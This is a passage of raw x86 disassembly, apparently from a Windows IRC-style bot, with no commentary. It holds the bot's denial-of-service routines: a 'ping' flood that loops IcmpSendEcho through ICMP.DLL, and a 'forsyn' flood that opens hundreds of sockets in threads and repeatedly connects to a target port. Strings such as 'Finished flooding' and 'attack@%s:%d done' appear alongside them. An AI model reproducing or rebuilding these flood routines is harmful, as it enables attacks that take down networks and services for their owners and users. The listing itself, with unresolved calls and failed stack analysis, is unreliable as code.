ptr [esi+204h], 0 add esp, 0Ch mov dword ptr [esi+208h], 0 mov [esi+20Ch], edx mov byte ptr [esi+218h], 0 mov eax, edi pop esi pop edi retn sub_4258E0 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_425980 proc near ; CODE XREF: sub_401609j var_3C = byte ptr -3Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_425980 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi push edi push 0 push 7 push 0Eh push 9 push 10h push 4Fh push 13h push 0Fh mov esi, ecx push 4 lea eax, [esp+68h+var_3C] push 4 push eax mov dword ptr [esi+118h], 0 mov byte ptr [esi+11Ch], 0 call sub_4019B5 add esp, 2Ch push esi mov ecx, eax mov [esp+48h+var_4], 0 call sub_4017E4 lea ecx, [esi+4] push eax push ecx mov ecx, offset dword_447158 call sub_401591 sub_425980 endp ; --------------------------------------------------------------------------- or edi, 0FFFFFFFFh lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 10h push 4 push 15h push 4Fh push 13h push 0Fh push 4 lea edx, [esp+28h] push 4 push edx call sub_4019B5 add esp, 28h push esi mov ecx, eax mov dword ptr [esp+44h], 1 call sub_4017E4 push eax lea eax, [esi+32h] push eax mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 0Eh push 19h push 13h push 4Fh push 13h push 0Fh push 4 lea ecx, [esp+28h] push 4 push ecx call sub_4019B5 add esp, 28h push esi mov ecx, eax mov dword ptr [esp+44h], 2 call sub_4017E4 lea edx, [esi+60h] push eax push edx mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 10h push 0Fh push 14h push 13h push 4Fh push 13h push 0Fh push 4 lea eax, [esp+2Ch] push 4 push eax call sub_4019B5 add esp, 2Ch push esi mov ecx, eax mov dword ptr [esp+44h], 3 call sub_4017E4 lea ecx, [esi+0EAh] push eax push ecx mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 0Eh push 19h push 13h push 4 push 13h push 4Fh push 13h push 0Fh push 4 lea edx, [esp+48h] push 4 push edx call sub_4019B5 add esp, 30h push esi mov ecx, eax mov dword ptr [esp+44h], 4 call sub_4017E4 add esi, 8Eh push eax push esi mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+20h] mov [esp+40h], edi call sub_401226 mov ecx, [esp+38h] pop edi pop esi mov large fs:0, ecx add esp, 3Ch retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 80h dup(0CCh) ; --------------------------------------------------------------------------- loc_425BD0: ; CODE XREF: ___:loc_401B6Dj push 0FFFFFFFFh push offset loc_43B6A4 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 34h push ebx push ebp push esi mov esi, [esp+50h] mov ebx, ecx push edi lea ebp, [esi+7Eh] lea ecx, [ebx+60h] mov [esp+54h], ebp call sub_4014D3 push eax mov ecx, ebp call sub_4012EE mov edi, dword_50FB08 test eax, eax jnz loc_425D68 push 95h call sub_4367FA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+10h], eax xor ebp, ebp cmp eax, ebp mov [esp+4Ch], ebp jz short loc_425C3B mov ecx, eax call sub_401DD9 mov ebp, eax loc_425C3B: ; CODE XREF: ___:00425C30j push offset asc_443600 ; " " lea eax, [esp+18h] push 1 mov byte ptr [ebx+11Ch], 1 push eax mov ecx, esi mov dword ptr [esp+58h], 0FFFFFFFFh mov [ebp+91h], ebx call sub_4016AE push eax lea ecx, [ebp+3Bh] mov dword ptr [esp+50h], 1 call sub_401FBE lea ecx, [esp+14h] mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_443600 ; " " lea ecx, [esp+18h] push 2 push ecx mov ecx, esi call sub_4016AE mov ecx, eax mov dword ptr [esp+4Ch], 2 call sub_4017E4 push eax call edi ; atoi add esp, 4 lea ecx, [esp+14h] mov [ebp+50h], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_443600 ; " " lea edx, [esp+18h] push 3 push edx mov ecx, esi call sub_4016AE mov ecx, eax mov dword ptr [esp+4Ch], 3 call sub_4017E4 push eax call edi ; atoi add esp, 4 lea ecx, [esp+14h] mov [ebp+54h], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_443600 ; " " lea eax, [esp+18h] push 4 push eax mov ecx, esi call sub_4016AE mov ecx, eax mov dword ptr [esp+4Ch], 4 call sub_4017E4 push eax call edi ; atoi add esp, 4 lea ecx, [esp+14h] mov [ebp+58h], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 lea ecx, [esi+69h] push ecx lea ecx, [ebp+26h] call sub_401FBE mov dl, [esi+93h] mov ecx, ebp mov [ebp+8Fh], dl mov al, [esi+94h] mov [ebp+90h], al call sub_4013D4 mov ebp, [esp+54h] loc_425D68: ; CODE XREF: ___:00425C11j lea ecx, [ebx+8Eh] call sub_4014D3 push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_425EDA push 95h call sub_4367FA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+10h], eax test eax, eax mov dword ptr [esp+4Ch], 5 jz short loc_425DAB mov ecx, eax call sub_401BC7 mov ebp, eax jmp short loc_425DAD ; --------------------------------------------------------------------------- loc_425DAB: ; CODE XREF: ___:00425D9Ej xor ebp, ebp loc_425DAD: ; CODE XREF: ___:00425DA9j push offset asc_443600 ; " " lea ecx, [esp+18h] push 1 push ecx mov byte ptr [ebx+11Ch], 1 mov ecx, esi mov dword ptr [esp+58h], 0FFFFFFFFh mov [ebp+91h], ebx call sub_4016AE push eax lea ecx, [ebp+3Bh] mov dword ptr [esp+50h], 6 call sub_401FBE lea ecx, [esp+14h] mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_443600 ; " " lea edx, [esp+18h] push 2 push edx mov ecx, esi call sub_4016AE mov ecx, eax mov dword ptr [esp+4Ch], 7 call sub_4017E4 push eax call edi ; atoi add esp, 4 lea ecx, [esp+14h] mov [ebp+50h], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_443600 ; " " lea eax, [esp+18h] push 3 push eax mov ecx, esi call sub_4016AE mov ecx, eax mov dword ptr [esp+4Ch], 8 call sub_4017E4 push eax call edi ; atoi add esp, 4 lea ecx, [esp+14h] mov [ebp+54h], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_443600 ; " " lea ecx, [esp+18h] push 4 push ecx mov ecx, esi call sub_4016AE mov ecx, eax mov dword ptr [esp+4Ch], 9 call sub_4017E4 push eax call edi ; atoi add esp, 4 lea ecx, [esp+14h] mov [ebp+58h], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 lea edx, [esi+69h] lea ecx, [ebp+26h] push edx call sub_401FBE mov al, [esi+93h] mov [ebp+8Fh], al mov cl, [esi+94h] mov [ebp+90h], cl mov ecx, ebp call sub_4013D4 mov ebp, [esp+54h] loc_425EDA: ; CODE XREF: ___:00425D7Dj lea ecx, [ebx+4] call sub_4014D3 push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_426049 push 95h call sub_4367FA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+10h], eax test eax, eax mov dword ptr [esp+4Ch], 0Ah jz short loc_425F1A mov ecx, eax call sub_40130C mov ebp, eax jmp short loc_425F1C ; --------------------------------------------------------------------------- loc_425F1A: ; CODE XREF: ___:00425F0Dj xor ebp, ebp loc_425F1C: ; CODE XREF: ___:00425F18j push offset asc_443600 ; " " lea edx, [esp+18h] push 1 mov byte ptr [ebx+11Ch], 1 push edx mov ecx, esi mov dword ptr [esp+58h], 0FFFFFFFFh mov [ebp+91h], ebx call sub_4016AE push eax lea ecx, [ebp+3Bh] mov dword ptr [esp+50h], 0Bh call sub_401FBE lea ecx, [esp+14h] mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_443600 ; " " lea eax, [esp+18h] push 2 push eax mov ecx, esi call sub_4016AE mov ecx, eax mov dword ptr [esp+4Ch], 0Ch call sub_4017E4 push eax call edi ; atoi add esp, 4 lea ecx, [esp+14h] mov [ebp+5Ch], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_443600 ; " " lea ecx, [esp+18h] push 3 push ecx mov ecx, esi call sub_4016AE mov ecx, eax mov dword ptr [esp+4Ch], 0Dh call sub_4017E4 push eax call edi ; atoi add esp, 4 lea ecx, [esp+14h] mov [ebp+60h], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_443600 ; " " lea edx, [esp+18h] push 4 push edx mov ecx, esi call sub_4016AE mov ecx, eax mov dword ptr [esp+4Ch], 0Eh call sub_4017E4 push eax call edi ; atoi add esp, 4 lea ecx, [esp+14h] mov [ebp+54h], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 lea eax, [esi+69h] lea ecx, [ebp+26h] push eax call sub_401FBE mov cl, [esi+93h] mov [ebp+8Fh], cl mov dl, [esi+94h] mov ecx, ebp mov [ebp+90h], dl call sub_4013D4 mov ebp, [esp+54h] loc_426049: ; CODE XREF: ___:00425EECj lea ecx, [ebx+32h] call sub_4014D3 push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_4261F4 push 95h call sub_4367FA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+10h], eax test eax, eax mov dword ptr [esp+4Ch], 0Fh jz short loc_426089 mov ecx, eax call sub_401785 mov ebp, eax jmp short loc_42608B ; --------------------------------------------------------------------------- loc_426089: ; CODE XREF: ___:0042607Cj xor ebp, ebp loc_42608B: ; CODE XREF: ___:00426087j push offset asc_443600 ; " " lea eax, [esp+18h] push 1 mov byte ptr [ebx+11Ch], 1 push eax mov ecx, esi mov dword ptr [esp+58h], 0FFFFFFFFh mov [ebp+91h], ebx call sub_4016AE push eax lea ecx, [ebp+3Bh] mov dword ptr [esp+50h], 10h call sub_401FBE lea ecx, [esp+14h] mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_443600 ; " " lea ecx, [esp+18h] push 2 push ecx mov ecx, esi call sub_4016AE mov ecx, eax mov dword ptr [esp+4Ch], 11h call sub_4017E4 push eax call edi ; atoi add esp, 4 lea ecx, [esp+14h] mov [ebp+5Ch], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_443600 ; " " lea edx, [esp+18h] push 3 push edx mov ecx, esi call sub_4016AE mov ecx, eax mov dword ptr [esp+4Ch], 12h call sub_4017E4 push eax call edi ; atoi add esp, 4 lea ecx, [esp+14h] mov [ebp+60h], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_443600 ; " " lea eax, [esp+18h] push 4 push eax mov ecx, esi call sub_4016AE mov ecx, eax mov dword ptr [esp+4Ch], 13h call sub_4017E4 push eax call edi ; atoi add esp, 4 lea ecx, [esp+14h] mov [ebp+54h], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_443600 ; " " lea ecx, [esp+30h] push 5 push ecx mov ecx, esi call sub_4016AE mov ecx, eax mov dword ptr [esp+4Ch], 14h call sub_4017E4 push eax call edi ; atoi add esp, 4 lea ecx, [esp+2Ch] mov [ebp+58h], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 lea edx, [esi+69h] lea ecx, [ebp+26h] push edx call sub_401FBE mov al, [esi+93h] mov [ebp+8Fh], al mov cl, [esi+94h] mov [ebp+90h], cl mov ecx, ebp call sub_4013D4 mov ebp, [esp+54h] loc_4261F4: ; CODE XREF: ___:0042605Bj lea ecx, [ebx+0EAh] call sub_4014D3 push eax mov ecx, ebp call sub_4012EE test eax, eax jnz short loc_426211 mov [ebx+11Ch], al loc_426211: ; CODE XREF: ___:00426209j mov ecx, [esp+44h] pop edi pop esi pop ebp mov al, 1 pop ebx mov large fs:0, ecx add esp, 40h retn 4 ; --------------------------------------------------------------------------- db 8 dup(90h) db 1A0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4263D0 proc near ; CODE XREF: sub_401A64j var_4 = dword ptr -4 push ecx mov edx, dword_447A44 push esi mov esi, ecx mov eax, [esi+91h] mov ecx, [eax+118h] cmp edx, ecx jl short loc_4263F1 inc ecx mov [eax+118h], ecx loc_4263F1: ; CODE XREF: sub_4263D0+18j mov eax, [esi] mov ecx, esi call dword ptr [eax+8] mov eax, [esi+91h] mov [esp+8+var_4], esi mov ecx, [eax+118h] dec ecx mov [eax+118h], ecx lea ecx, [esp+8+var_4] push ecx mov ecx, offset byte_4E6EDB call sub_40120D sub_4263D0 endp ; --------------------------------------------------------------------------- xor eax, eax pop esi pop ecx retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_426450 proc near ; CODE XREF: sub_40130Cj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_426450 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401F7D push offset aPing ; "ping" lea ecx, [esi+11h] mov [esp+18h+var_4], 0 mov dword ptr [esi], offset off_43E0DC call sub_4015D7 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_426450 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4264C0 proc near ; CODE XREF: sub_401F7Dj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4264C0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401E6A lea ecx, [esi+11h] mov [esp+14h+var_4], 0 call sub_401424 lea ecx, [esi+26h] mov byte ptr [esp+14h+var_4], 1 call sub_401424 lea ecx, [esi+3Bh] mov byte ptr [esp+14h+var_4], 2 call sub_401424 lea ecx, [esi+64h] mov byte ptr [esp+14h+var_4], 3 call sub_401424 lea ecx, [esi+79h] mov byte ptr [esp+14h+var_4], 4 call sub_401424 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43E0EC mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_4264C0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_426560 proc near ; CODE XREF: sub_4014C4j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_426560 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi mov dword ptr [esi], offset off_43E0EC lea ecx, [esi+79h] mov [esp+14h+var_4], 4 call sub_401226 lea ecx, [esi+64h] mov byte ptr [esp+14h+var_4], 3 call sub_401226 lea ecx, [esi+3Bh] mov byte ptr [esp+14h+var_4], 2 call sub_401226 lea ecx, [esi+26h] mov byte ptr [esp+14h+var_4], 1 call sub_401226 lea ecx, [esi+11h] mov byte ptr [esp+14h+var_4], 0 call sub_401226 mov ecx, esi mov [esp+14h+var_4], 0FFFFFFFFh call sub_402031 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_426560 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_426620: ; CODE XREF: ___:loc_4016D1j ; ___:0040217Bj push esi mov esi, ecx call sub_4014C4 test byte ptr [esp+8], 1 jz short loc_426638 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_426638: ; CODE XREF: ___:0042662Dj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_426650 proc near ; CODE XREF: sub_4011FEj ___:00402081j arg_0 = byte ptr 4 push esi mov esi, ecx call sub_402090 test [esp+4+arg_0], 1 jz short loc_426668 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_426668: ; CODE XREF: sub_426650+Dj mov eax, esi pop esi retn 4 sub_426650 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_426680 proc near ; CODE XREF: sub_402090j jmp sub_4014C4 sub_426680 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4266A0 proc near ; CODE XREF: sub_401A41j var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4266A0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push ebx push ebp push esi mov esi, ecx push edi mov eax, [esi+54h] mov ecx, [esi+60h] mov edx, [esi+5Ch] lea edi, [esi+3Bh] push eax push ecx push edx mov ecx, edi lea ebx, [esi+11h] lea ebp, [esi+26h] call sub_4017E4 push eax mov ecx, ebx call sub_4017E4 push eax push offset aSSUtimesUbytes ; "%s: %s (%utimes/%ubytes/%dms)" mov ecx, ebp call sub_4014D3 mov cl, [esi+8Fh] push eax mov al, [esi+90h] push eax push ecx push offset byte_4D60B5 call sub_401848 add esp, 28h lea ecx, [esp+34h+var_24] call sub_401424 mov edx, [esi+54h] mov eax, [esi+60h] mov ecx, [esi+5Ch] push edx push eax push ecx mov ecx, edi mov [esp+40h+var_4], 0 call sub_4014D3 push eax call sub_40182F add esp, 10h test eax, eax jz short loc_426764 mov edx, [esi+5Ch] mov ecx, edi push edx call sub_4017E4 push eax mov ecx, ebx call sub_4017E4 push eax lea eax, [esp+40h+var_24] push offset aSFinishedFlood ; "[%s] Finished flooding %s %d Times" push eax call sub_40102D add esp, 14h jmp short loc_42677E ; --------------------------------------------------------------------------- loc_426764: ; CODE XREF: sub_4266A0+9Aj mov ecx, ebx call sub_4017E4 push eax lea ecx, [esp+38h+var_24] push offset aSCannotSendPin ; "[%s] Cannot send pings - Doesn't have D"... push ecx call sub_40102D add esp, 0Ch loc_42677E: ; CODE XREF: sub_4266A0+C2j lea ecx, [esp+34h+var_24] call sub_4017E4 push eax mov ecx, ebp call sub_4014D3 mov dl, [esi+90h] push eax mov al, [esi+8Fh] push edx push eax push offset byte_4D60B5 call sub_401848 add esp, 14h lea ecx, [esp+34h+var_24] mov [esp+34h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+34h+var_C] pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 24h retn sub_4266A0 endp ; --------------------------------------------------------------------------- db 90h db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_426820 proc near ; CODE XREF: sub_401E7Ej var_1A = byte ptr -1Ah var_18 = byte ptr -18h arg_0 = byte ptr 4 arg_FFE0 = dword ptr 0FFE4h arg_FFE4 = dword ptr 0FFE8h arg_FFE8 = dword ptr 0FFECh arg_FFEC = dword ptr 0FFF0h mov eax, 0FFFCh call sub_436840 push esi push edi push offset aIcmp_dll ; "ICMP.DLL" nop call near ptr 27E09F8h mov esi, eax test esi, esi jz short loc_42688A mov edi, dword_50F8A0 push offset aIcmpcreatefile ; "IcmpCreateFile" push esi call edi push offset aIcmpclosehandl ; "IcmpCloseHandle" push esi mov dword_50E150, eax call edi push offset aIcmpsendecho ; "IcmpSendEcho" push esi mov dword_50E154, eax call edi mov ecx, dword_50E150 mov dword_50E14C, eax test ecx, ecx jz short loc_42688A mov edx, dword_50E154 test edx, edx jz short loc_42688A test eax, eax jz short loc_42688A mov al, [esp+0Bh] test al, al jz short loc_426895 loc_42688A: ; CODE XREF: sub_426820+1Bj ; sub_426820+52j ... pop edi xor eax, eax pop esi add esp, 0FFFCh retn ; --------------------------------------------------------------------------- loc_426895: ; CODE XREF: sub_426820+68j mov edx, [esp+24h+arg_FFE8] mov eax, 0FFDCh cmp edx, eax jle short loc_4268AC mov [esp+24h+arg_FFE8], eax loc_4268AC: ; CODE XREF: sub_426820+83j push ebx push ebp mov ebp, [esp+2Ch+arg_FFEC] cmp ebp, 1 jge short loc_4268BF mov ebp, 1 loc_4268BF: ; CODE XREF: sub_426820+98j call ecx ; IcmpCreateFile mov ebx, [esp+2Ch+arg_FFE4] xor esi, esi test ebx, ebx mov edi, eax jle short loc_426904 loc_4268D0: ; CODE XREF: sub_426820+E2j mov al, byte_4D64F9 test al, al jz short loc_426904 mov ecx, [esp+2Ch+arg_FFE8] push ebp lea eax, [esp+30h+var_18] push 1Ch push eax mov eax, [esp+38h+arg_FFE0] push 0 lea edx, [esp+3Ch+arg_0] push ecx push edx push eax push edi call dword_50E14C ; IcmpSendEcho inc esi cmp esi, ebx jl short loc_4268D0 loc_426904: ; CODE XREF: sub_426820+AEj ; sub_426820+B7j push edi call dword_50E154 ; IcmpCloseHandle pop ebp pop ebx pop edi mov eax, 1 pop esi add esp, 0FFFCh retn sub_426820 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 5 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_426960 proc near ; CODE XREF: sub_40182Fj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, [esp+arg_0] push eax call sub_40187F mov ecx, [esp+4+arg_C] mov edx, [esp+4+arg_8] push ecx mov ecx, [esp+8+arg_4] push edx push ecx push eax call sub_401E7E add esp, 14h retn sub_426960 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4269A0 proc near ; CODE XREF: sub_401BC7j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4269A0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401F7D push offset aForsyn ; "forsyn" lea ecx, [esi+11h] mov [esp+18h+var_4], 0 mov dword ptr [esi], offset off_43E0FC call sub_4015D7 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_4269A0 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_426A10: ; CODE XREF: ___:00401A19j ; ___:loc_401AAFj push esi mov esi, ecx call sub_4017FD test byte ptr [esp+8], 1 jz short loc_426A28 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_426A28: ; CODE XREF: ___:00426A1Dj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_426A40 proc near ; CODE XREF: sub_4017FDj jmp sub_4014C4 sub_426A40 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_426A60 proc near ; CODE XREF: sub_401366j var_28 = dword ptr -28h var_24 = byte ptr -24h var_1C = dword ptr -1Ch var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_426A60 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx mov ebx, ecx xor eax, eax mov ecx, offset byte_4E5DCF mov [esp+2Ch+var_28], eax loc_426A86: ; CODE XREF: sub_426A60+35j cmp dword ptr [ecx], 0 jz short loc_426A97 add ecx, 78h inc eax cmp ecx, offset byte_4E672F jl short loc_426A86 loc_426A97: ; CODE XREF: sub_426A60+29j cmp eax, 13h mov [esp+2Ch+var_28], eax jg loc_426C49 lea eax, [eax+eax*2] push ebp push esi push edi lea eax, [eax+eax*4] lea ecx, [ebx+3Bh] lea ebp, ds:4E5D5Bh[eax*8] call sub_4017E4 mov edi, eax or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx sub edi, ecx mov eax, ecx mov esi, edi mov edi, ebp shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov cx, [ebx+58h] push ecx nop call near ptr 71AB2B66h and eax, 0FFFFh mov [ebp+64h], eax mov eax, [ebx+54h] cmp eax, 5 mov [ebp+68h], eax jge short loc_426B00 mov dword ptr [ebp+68h], 5 loc_426B00: ; CODE XREF: sub_426A60+97j mov edx, [ebx+50h] mov ecx, 80h xor eax, eax mov edi, offset dword_50E15C mov [ebp+6Ch], edx lea esi, [ebx+11h] rep stosd mov eax, [ebx+50h] mov ecx, [ebx+58h] push eax push ecx lea ecx, [ebx+3Bh] lea edi, [ebx+26h] call sub_4017E4 push eax mov ecx, esi call sub_4017E4 push eax push offset aSSUDseconds ; "%s: %s:%u (%dseconds)" mov ecx, edi call sub_4014D3 mov dl, [ebx+90h] push eax mov al, [ebx+8Fh] push edx push eax push offset byte_4D60B5 call sub_401848 mov ecx, [esp+50h+var_1C] add esp, 24h push offset dword_50E35C push 0 push ecx push offset sub_4012C1 push 0 push 0 nop call near ptr 2780970h test eax, eax mov dword_50E360, eax jz short loc_426B9B push offset dword_446F74 push 5 push eax push 0 push offset dword_50E15C call sub_4013E8 add esp, 14h mov [ebp+70h], eax jmp short loc_426BCB ; --------------------------------------------------------------------------- loc_426B9B: ; CODE XREF: sub_426A60+11Dj mov ecx, esi call sub_4017E4 push eax push offset aSErrorCreating ; "%s: error creating threads" mov ecx, edi call sub_4014D3 mov dl, [ebx+90h] push eax mov al, [ebx+8Fh] push edx push eax push offset byte_4D60B5 call sub_401848 add esp, 18h loc_426BCB: ; CODE XREF: sub_426A60+139j lea ecx, [esp+38h+var_24] call sub_401424 mov ecx, [ebx+58h] mov [esp+38h+var_4], 0 push ecx lea ecx, [ebx+3Bh] call sub_4017E4 push eax mov ecx, esi call sub_4017E4 push eax lea edx, [esp+44h+var_24] push offset aSAttack@SDDone ; "%s: attack@%s:%d done." push edx call sub_40102D add esp, 14h lea ecx, [esp+38h+var_24] call sub_4017E4 push eax push offset aS ; "%s" mov ecx, edi call sub_4014D3 mov cl, [ebx+8Fh] push eax mov al, [ebx+90h] push eax push ecx push offset byte_4D60B5 call sub_401848 add esp, 18h lea ecx, [esp+38h+var_24] mov [esp+38h+var_4], 0FFFFFFFFh call sub_401226 pop edi pop esi pop ebp loc_426C49: ; CODE XREF: sub_426A60+3Ej mov ecx, [esp+2Ch+var_C] pop ebx mov large fs:0, ecx add esp, 28h retn sub_426A60 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 80h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_426CE0 proc near ; CODE XREF: sub_4012C1j var_338 = dword ptr -338h var_334 = dword ptr -334h var_330 = dword ptr -330h var_32C = dword ptr -32Ch var_328 = dword ptr -328h var_324 = dword ptr -324h var_320 = byte ptr -320h arg_0 = dword ptr 4 sub esp, 338h mov eax, [esp+338h+arg_0] push ebp push esi mov esi, 1 lea eax, [eax+eax*2] lea eax, [eax+eax*4] lea ebp, ds:4E5D5Bh[eax*8] xor eax, eax mov [esp+340h+var_334], eax mov word ptr [esp+340h+var_334], 2 mov [ebp+74h], esi mov cx, [ebp+64h] mov [esp+340h+var_330], eax push ecx mov [esp+344h+var_32C], eax mov [esp+344h+var_328], eax nop call near ptr 71AB2B66h push ebp mov [esp+344h+var_324], esi mov word ptr [esp+344h+var_334+2], ax nop call near ptr 71AB2BF4h cmp eax, 0FFFFFFFFh jnz short loc_426D76 push ebp call near ptr 71AB4FD4h nop xor edx, edx cmp eax, edx jnz short loc_426D6F mov [ebp+74h], edx mov ecx, [ebp+70h] pop esi pop ebp lea eax, [ecx+ecx*4] shl eax, 4 sub eax, ecx lea eax, [eax+eax*4] mov dword_4D6775[eax*2], edx xor eax, eax add esp, 338h retn 4 ; --------------------------------------------------------------------------- loc_426D6F: ; CODE XREF: sub_426CE0+68j mov ecx, [eax+0Ch] mov edx, [ecx] mov eax, [edx] loc_426D76: ; CODE XREF: sub_426CE0+5Bj mov [esp+340h+var_330], eax mov eax, [ebp+6Ch] push ebx push edi test eax, eax mov [esp+348h+var_338], 0 jle loc_426E26 mov ebx, dword_50FC30 loc_426D95: ; CODE XREF: sub_426CE0+140j mov al, byte_4D64F9 test al, al jz loc_426E26 lea esi, [esp+348h+var_320] mov edi, 0C8h loc_426DAB: ; CODE XREF: sub_426CE0+EFj push 0 push 1 push 2 call ebx ; socket cmp eax, 0FFFFFFFFh mov [esi], eax jz short loc_426DCB lea ecx, [esp+348h+var_324] push ecx push 8004667Eh push eax nop call near ptr 71AB4519h loc_426DCB: ; CODE XREF: sub_426CE0+D8j add esi, 4 dec edi jnz short loc_426DAB lea esi, [esp+348h+var_320] mov edi, 0C8h loc_426DDA: ; CODE XREF: sub_426CE0+10Ej mov eax, [esi] lea edx, [esp+348h+var_334] push 10h push edx push eax nop call near ptr 71AB406Ah add esi, 4 dec edi jnz short loc_426DDA mov ecx, [ebp+68h] push ecx nop call near ptr 2821BE4h lea esi, [esp+348h+var_320] mov edi, 0C8h loc_426E03: ; CODE XREF: sub_426CE0+130j mov edx, [esi] push edx nop call near ptr 71AB9639h add esi, 4 dec edi jnz short loc_426E03 mov eax, [esp+348h+var_338] mov ecx, [ebp+6Ch] inc eax cmp eax, ecx mov [esp+348h+var_338], eax jl loc_426D95 loc_426E26: ; CODE XREF: sub_426CE0+A9j ; sub_426CE0+BCj xor edx, edx pop 